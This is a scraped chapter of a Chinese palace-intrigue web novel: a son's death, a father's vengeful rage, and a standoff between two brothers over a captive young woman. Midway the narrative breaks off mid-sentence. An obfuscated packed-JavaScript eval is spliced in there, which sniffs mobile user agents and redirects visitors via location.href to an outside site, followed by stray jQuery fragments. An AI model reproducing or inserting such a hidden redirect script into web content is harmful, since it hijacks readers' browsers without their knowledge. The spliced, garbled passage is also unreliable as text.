起火的马车照亮了地上横七竖八的尸体。呛鼻的浓烟里,裹着食物的焦香扑面而来,那是霍子渊准备带回谯县的特产。
萧淮望着眼前的一幕,脑子还没来得及想清楚发生了什么,人已经飞速下马。
“大哥……!”话音未落,手指在触到萧凌云身体时,全身控制不住的剧烈一颤。
他慌乱回头,在黑暗里四处搜寻,手脚并用的扑向几步之外。那边萧凌风正被人扶着起身。萧淮扑过去,颤抖的手悬在半空久久才有勇气探上他脉搏。
一下,二下。虽弱,但还跳着。
仿佛劫后余生般,他重重呼出一口气,腿脚软得几乎站不住,缓了几息才转身。
萧嵘两颊肌肉抖动,没有歇斯底里地大喊,也没有一个父亲失去儿子该有的绝望和崩溃,他只是低着头,看着怀里的萧凌云,发出一声似笑非笑的怪笑。
萧凌云聪明好学,自幼拜入名师门下,一身武艺,便是自己亲自动手,也未必能在他手底下讨到便宜。加之心思缜密,行事滴水不漏,有子如此,是萧嵘此生最得意,最欣慰之事。
肋下那柄匕首,短小可笑,如同孩童的玩具。
可就是这点东西,就要了他儿子的命!
萧嵘跪在地上,颤抖的手一遍遍捂向那个血窟窿,萧凌云的身体犹有余温,可是怎么瘫软如泥?再无声息了呢?
血从他的指缝间涌出来,怎么也止不住。
副将试探着上前一步:“王爷……”
过了片刻,萧嵘缓缓抬起头来,他把萧凌云轻轻放下。动作很轻,轻得像怕惊醒他。“嘿嘿嘿”笑着,那张脸上没有泪,只有一种让人不敢直视的东西,在眼眶里燃烧酝酿。
然后他站起来。
“杀光他们。”他望向霍子渊一行人,平静地发号施令。
副将一愣,下意识朝萧淮望去,就听见萧嵘又重复了一遍,这一遍声音拔高,嗓音变了腔调。
“杀了他们!”
“杀光他们!”
“我要他们给我儿陪葬!”
“王爷,小姐还在那人手里……”副将委婉地提醒道。
萧嵘猛然转身,一把攥住副将衣领,拉进,赤红的眼珠几乎要瞪出眼眶:“我儿子死了!我的儿子死了!我要他们陪葬!通通陪葬!你听明白没有?”
副将被他的举动逼得后退半步,正想令下,萧淮眼风横扫过来,忽地开口:“谁敢动手!”
萧嵘面色泛着不正常的潮红,嘴唇乌青,眉心凝着一股散不掉的黑气。半边衣袍沾了泥灰染了血迹,整个人犹如修罗般缓缓转过脸,似乎才看见萧淮这个人。
霍子渊是他的好友,谢枕月是他的心头好,这两人对萧淮而言,再是重要不过,可他们却合谋害了他的儿子!
他的凌云死了,他引以为傲的凌云死了!如今还有什么好顾忌的?
萧嵘盯着这个弟弟的眼睛:“拿弓来,我看谁敢拦我!”
萧淮难以置信地望着萧嵘。
副将望着剑拔弩张的两人,一时天人交战。若是王爷全盛之时,五爷的话他自是不用理会,但此刻,王爷的毒伤还得仰仗五爷……他抖着手捧出弓箭,萧嵘从他手中一把夺过。
就在此时,霍子渊把谢枕月往身前一挡,高声喝道:“速速后退,不然别怪我手下无情。”
话音落下的刹那,卡在脖颈处的手骤然收紧,谢枕月的脸瞬间涨红,几息的功夫,又肉眼可见的青紫。她脚尖绷直,双手掰着那只掐住她不放的手,嘴巴无意识地微张,双脚几乎离地。
萧淮的目光盯在那只手上!
眼看萧嵘不管不顾的上弦拉弓,霍子渊似乎慌了神,急急挟了人往后退去,目光直直落向萧淮:“别用这种眼神看着我,你的救命恩人,霍子渊早就死了,早就被我杀掉取而代之!”他嘴角微微扬起,“记好了,我叫谢怀星,我叫谢怀星!”
“你们以为我不敢杀她吗?萧恒就是我杀的,多她一个不多,我……我只恨没能杀光你们这些人。”
“凌云死了。”萧嵘拉弓搭箭,箭尖直指火光中那道纤细的身影,“我要谢枕月何用?”
弦拉满,箭离弦而出。
另一只箭却比之更块。萧淮双箭齐发,第一箭破空撞偏了萧嵘射出的那支,第二箭直逼霍子渊扼在她喉咙处的那只手,箭矢即将入肉的刹那,霍子渊松开了谢枕月。
他转过身。
用自己的后背,迎上了那支箭。
萧淮手中的弓箭从手中滑落,砸在脚边,发出一声闷响。
霍子渊背对着他向后倒去。
仇人?挚友?
一股难言的滋味从心口弥漫,密密麻麻,无法言说。
“还有一个!”萧嵘再次拉满了弓,这一次,箭尖直指瘫软在地的谢枕月,“都是因为你!要不是你,我儿不会追来!他也就不会死!”
“全是因为你!”
萧嵘的声音似乎从很远的地方传过来,每一个字都清晰无比,可她听不进去,完全听不进去。她只知道那支箭马上就要射穿她的喉咙。霍子渊已经倒了,倒在了几步之外。
他嗫嚅着什么,想要说些什么,她看不清,也不想看清。
他用自己的命跟她划清界限,这样正好!
她跪坐在地上,捂着脖子上的伤。疼!可她顾不上了,她的脑子里只有一个念头,她不能死!
于是她在人群里拼命地找。
萧淮。
萧淮在哪里?
她没再看霍子渊。
她只知道萧淮能救她。
萧淮必须救她。
箭在弦上,她的目光终于找到了那个人。她盯着他,像溺水的人盯住的最后一根浮木。
救我!救我!
她没说出口,可她整个人都在喊。
萧淮的视线一直落在谢枕月身上,仿佛读懂了她未出口的求救,他的手已不由自主地握住了萧嵘绷紧的弓弦。
萧嵘瞬间怒不可遏:“滚开!我早该杀了她,早该杀了她!”
这个时候对一个才经历丧子之痛的父亲说什么都是多余的。萧淮没说话,只是态度强硬,他甚至没有看萧嵘,目光仍落在跪地的谢枕月身上,但那只手就那么横在那里。
无声的硝烟弥漫,火光在两人之间跳跃。
萧嵘的手扣着弓,萧淮的手握着弦,那支箭悬在半空,弓弦绷到了极致,仿佛随时断裂。
两兄弟就这样对峙着,没有人说话,只有身后的马车蔓延的火海,发出“噼里啪啦”地声响。
火势蔓延开来,殃及了所有马车。温蘅头晕目眩,捂着口鼻呛得不停咳嗽,连滚带爬地从马车上滚落下来,跌坐在地上。
气氛剑拔弩张,只有她在动在发出声响。一时间,所有的目光都向她聚拢过来。
副将的目光在兄弟二人之间游移片刻,王爷嘴唇发紫,能撑到现在,全凭一口气。这个时候跟五爷较劲,实在不是明智之选。他望着地上的温蘅,咬了咬牙,自作主张地开口:“温小姐……到底是怎么回事?”
要不是实在没办法,她绝不会在这个时候出现。温蘅心跳得几乎要冲出喉咙。她抬眼扫过眼前的景象,张了张嘴,又合上。
再张嘴,再合上。
额头渗出细汗,不知过了许久,终于,温蘅开口了。
“谢怀星威胁我带谢小姐出城。出城之后,他又挟持了谢小姐……与我。大公子为了救我等……被霍子渊所伤……”
……
回到萧王府,已经是第二天深夜。
萧凌云死了。萧凌风重伤未愈。萧嵘气急攻心,加上余毒未清,当晚便陷入昏睡。
萧淮抬头看了眼来不及撤下的红灯笼,心头纷乱,思绪万千。他命人将谢枕月与温蘅分别送回医庐和温家,又下令闭门谢客。
他就这样坐在萧嵘床前,一坐就是一整天。萧嵘在第二天就醒了,不言不语,不吃不喝,如同一个活死人。任凭旁人如何劝说,油盐不进。出嫁的萧云夕强
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187976|184689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
撑着病体在第三天赶了回来,他就那样躺着,半点反应也无。
直到第五日。
萧嵘的床榻前,侍女正用棉签蘸着清水,一点点润湿他干裂的嘴唇。
萧嵘仰面躺着,两颊深深凹陷,睁着眼。脸上是一种哀莫大于心死的平静。
萧淮在榻前跪下。
伏地,叩首。
额头触地,一下,又一下。
“是我识人不清。”
“是我有眼无珠,错把心怀不轨之人当恩人,害了凌云,害了王府,更害得你……如此。”
他每说一句,便重重俯身一叩首,直到额头渗血,直到床上忽地伸出一双颤抖的手,牢牢按在了他肩头。
“不怪你!”
萧嵘不知何时坐了起来,整个人摇摇欲坠,却执意拦住了他。
萧淮抬眸看着形销骨立的兄长,反手握住那只冰凉的手,眼眶蓦地发热。
“不怪你。”萧嵘重复了一遍,声音又涩又哑,“明枪易躲,暗箭难防,谁能料到……他会处心积虑至此。”
他顿了许久,目光从萧淮脸上移开,望向虚无的半空。
“就如同魏照,也是我始料未及。”
萧淮没说话,只紧握他的手。
萧嵘仿佛力气耗尽,又缓了半晌:“我知你之前因枕月和魏照的事,对我心存疑虑。他们一个是你至交好友,一个是我当女儿养大的枕月。我尚无确切证据证明霍子渊就是谢怀星,也无任何证据指向枕月真的会……听信别人的谗言。”
他转过头,看向萧淮。
“她从小在我身边长大,是我一手带大的。比起她的所作所为,我更痛心的是她竟然宁愿相信外人,也不肯信我。那些对我的不实指控,她听了!也信了!”
话未说完,萧嵘已喘得不行,整个人更是摇摇欲坠。萧淮连忙扶住他,将他放平在榻上。
“先养好身体要紧。这些事不急,往后再说。”
萧嵘反手扣住他的手腕,急切地摇头,眼中浮起一层水光:“我已经失去一个儿子了,不能再失去枕月。”
“这几日我一直在后悔在自责,我那日……激愤之下差点做出了让我后悔莫及的举动,多亏你拦着我,多亏你拦着我!”
“好在没有酿成大错……她如此行事,之前的失忆之言,怕也是假的。是我教导无方,养成了她这般性子,你好好劝劝她,不能再由着她胡闹下去!”
“我只盼着她不要记恨我才好!”
掐在萧淮腕上的手青筋暴起,像是用尽了毕生的力气。
萧淮表情微凝,看着萧嵘那双因急切而微微泛红的眼睛,心头笼上一层浓重的阴影。不过眼下,他只能先安抚兄长。
“大哥放心,我会好好劝她,我也会看顾好她,绝不让她再受半分伤害。”
萧嵘闻言,手指渐渐松开,眼中的急切也褪去,似乎终于放下心来,他闭上眼睛,呼吸渐渐平稳下来。
又过了两日。
萧嵘愿意进食后,气色渐渐好转。他坚持:找到凶手后再发丧,以及让萧凌风留在王府,继承家业。
萧淮没有反对。
当天下午,他策马离开王府,回到医庐已是深夜。
他站在门后,不知站了多久,仿佛与天地融为了一色。
屋里的哭声持续不断,从她陷入梦魇,挣扎哭喊另一个人的名姓开始,到此刻的放声大哭,他终于忍不住推开了房门。
她拥着被子坐在床上,双手抱膝,肩背剧烈地抖动,将整张脸埋在了里面。
他见过她巧笑嫣然地模样,也见过她故作可怜的眼泪,那些真假难辨的眼泪,如今仔细想来,从来都另有目的。
只有此刻,他从没见过如此模样的她,连推门的声响都不能惊扰她。她完全沉浸在自己的世界里,哭得不能自持,仿佛被全世界遗弃。
萧淮的目光在那不断抖动地肩上停了片刻。眼里那点微弱的光亮一点点黯淡了下去,最终化作了无边的冷意。